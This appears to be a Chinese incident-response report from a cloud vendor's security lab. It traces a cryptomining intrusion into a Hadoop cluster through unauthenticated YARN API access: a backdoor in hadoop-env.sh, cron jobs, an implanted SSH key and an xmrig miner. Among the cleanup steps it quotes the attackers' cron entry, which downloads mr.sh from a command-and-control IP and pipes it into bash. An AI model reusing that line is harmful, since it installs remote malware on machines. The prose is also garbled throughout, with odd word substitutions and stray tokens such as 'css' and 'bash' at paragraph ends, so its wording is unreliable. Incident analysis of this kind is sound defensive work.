近日,晚間10點左右,金山雲值班人員接用戶緊急反饋:在業務開發過程當中,Hadoop集羣某一結點輸入hdfs dfs –ls /
會顯示未知的公鑰信息,懷疑自身服務被惡意入侵。 在獲知該信息後,金山雲安珀實驗室迅速進行響應,第一時間與用戶進行溝通和分析排查,最後肯定是黑客經過Hadoop的REST API服務Yarn的未受權訪問形成遠程命令執行入侵,通過追蹤分析處理,最後成功解除攻擊威脅。 如下咱們將詳細過程分享出來,與業界共勉,共同提高安全防護水平。css
追蹤黑客來源:凡走過一定留下蛛絲馬跡 在接到異常信息後,安珀實驗室研究員馬上啓動分析預警流程:先確認是否被入侵、入侵的方式及可能形成的損失。經過使用命令「hdfs」進行試探,發現存在異常信息,進一步分析,在/var/spool/cron目錄下,發現了若干計劃任務文件,證實該服務器確實被入侵。node
經過分析,咱們成功追蹤到黑客的C&C服務器地址( http://149. .*.164:8220),鏈接到黑客的C2服務器上下載mr.sh並進一步分析,發現腳本存在以下幾個特徵: 一、腳本會刪除其餘的挖礦進程; 二、刪除CPU佔用率大於40的進程。 在上述操做執行完畢後,會下載真正的挖礦程序top,以及配置文件wc.conf,配置文件中包含挖礦的密碼等信息。接着,會自動添加計劃任務,將黑客的公鑰添加到~/.ssh/authorized_keys文件中,實現黑客免密碼登錄的目的。 腳本還會將受害服務器的IP、用戶名、主機名等信息發送到黑客的服務器上,結合其將公鑰寫入到了~/.ssh/authorized_keys文件中,咱們初步推測黑客可能經過腳本進行批量ssh登錄,從而實現批量管理肉雞的目的。 接下來,咱們按照該入侵路線排查用戶的服務器,不過並無發現一樣的問題,猜想後門多是在其餘位置,通過詳細排查,最後在/etc/hadoop/3.0.0.0-1634/0/hadoop-env.sh文件中,發現有被寫入後門的痕跡。 抽絲剝繭求真相:再狡猾的狐狸也會露出尾巴 在上述文件中,咱們發現有三行一樣格式的後門,能夠推測,服務器被黑客利用自動化腳本攻擊了三次,同時, 咱們還發現了新的攻擊腳本install.sh。將其下載後進行分析,發現該腳本會判斷是否寫過計劃任務,若是寫過的話會輸入Cron exists,這剛好是以前用戶反饋的問題。 經過後續的分析得知,當執行hdfs等hadoop所屬的命令後,會先執行/usr/bin/hdfs,而這個可執行程序是個連接,連接到/usr/hdp/current/hadoop-hdfs-client/bin/hdfs文件。咱們經過查看該文件,最終發現會執行紅框內的代碼,咱們繼續追蹤以下: 一、查看該文件的內容,發現會執行libexec目錄下的hdfs-config.sh腳本。 二、跟蹤過去,在文件尾部會調用hadoop-function.sh文件。 三、繼續跟蹤, 發現會執行conf目錄下的hadoop-env.sh。該文件是黑客留有後門的文件,也就是說,用戶在執行該命令的時候,就會調用黑客留下的後門,其餘有關hadoop的命令也是如此。 根據和使用該服務器的用戶交流來判斷,以前該服務器啓動過yarn服務,而且使用默認配置,沒有進行任何的認證,開放在公網的8088端口,結合該Hadoop集羣來看,黑客應該是經過Hadoop Yarn未受權訪問漏洞入侵的。 而且,經過查看/etc/hosts文件,發現該集羣還有其餘幾個節點,分別是node1(已經廢棄使用好久),node2(本文分析的服務器,且還開放在公網上),node3(未鏈接公網),node4(未鏈接公網),其餘節點均可以經過ssh + 主機名的方式直接登錄,而且也都發現已經被入侵了,可是經過計劃任務被寫入的時間點來看,其餘機器並非經過跳板入侵的,而是經過自動化腳本攻擊的。 分析top挖礦程序,咱們看到該程序是一個用於挖礦的軟件,真實名字叫作xmrig。 將其md5值放入VirusTotal查詢,發現有13家報毒,是一款挖礦軟件。 分析至此,整件事件已經梳理清楚,黑客經過yarn服務入侵到服務器,而且寫入了後門, 執行install.sh, mr.sh程序,進行挖礦,期間經過漏洞寫入了三次後門,C&C服務器IP爲新加坡,可是因爲install.sh存在報錯機制,致使被發現。這次事件金山雲安珀實驗室應對之道 1.建議客戶登錄各個節點,將/etc/hadoop/3.0.0.0-1634/0/hadoop-env.sh文件結尾的後門進行刪除; 2.登錄各個節點,到/var/spool/cron目錄下,查看每一個文件,若是內容是0 * * * * http://149.28.137.164:8220/mr.sh | bash -sh > /dev/null 2>&1,刪除該文件; 3.增長hadoop kerberos認證; 4.將私用的服務放置在內網環境中使用,開放在公網的服務必定要加入認證環節。安全
以上是金山雲在近期追蹤併成功解決的一塊兒比較典型的安全事件,在網絡上,天天都有無數的黑客程序在自動巡遊,一旦發現安全薄弱的設備,很快就能經過各類手段進行入侵,這就要求咱們樹立起牢固的安全防範意識,防患於未然。bash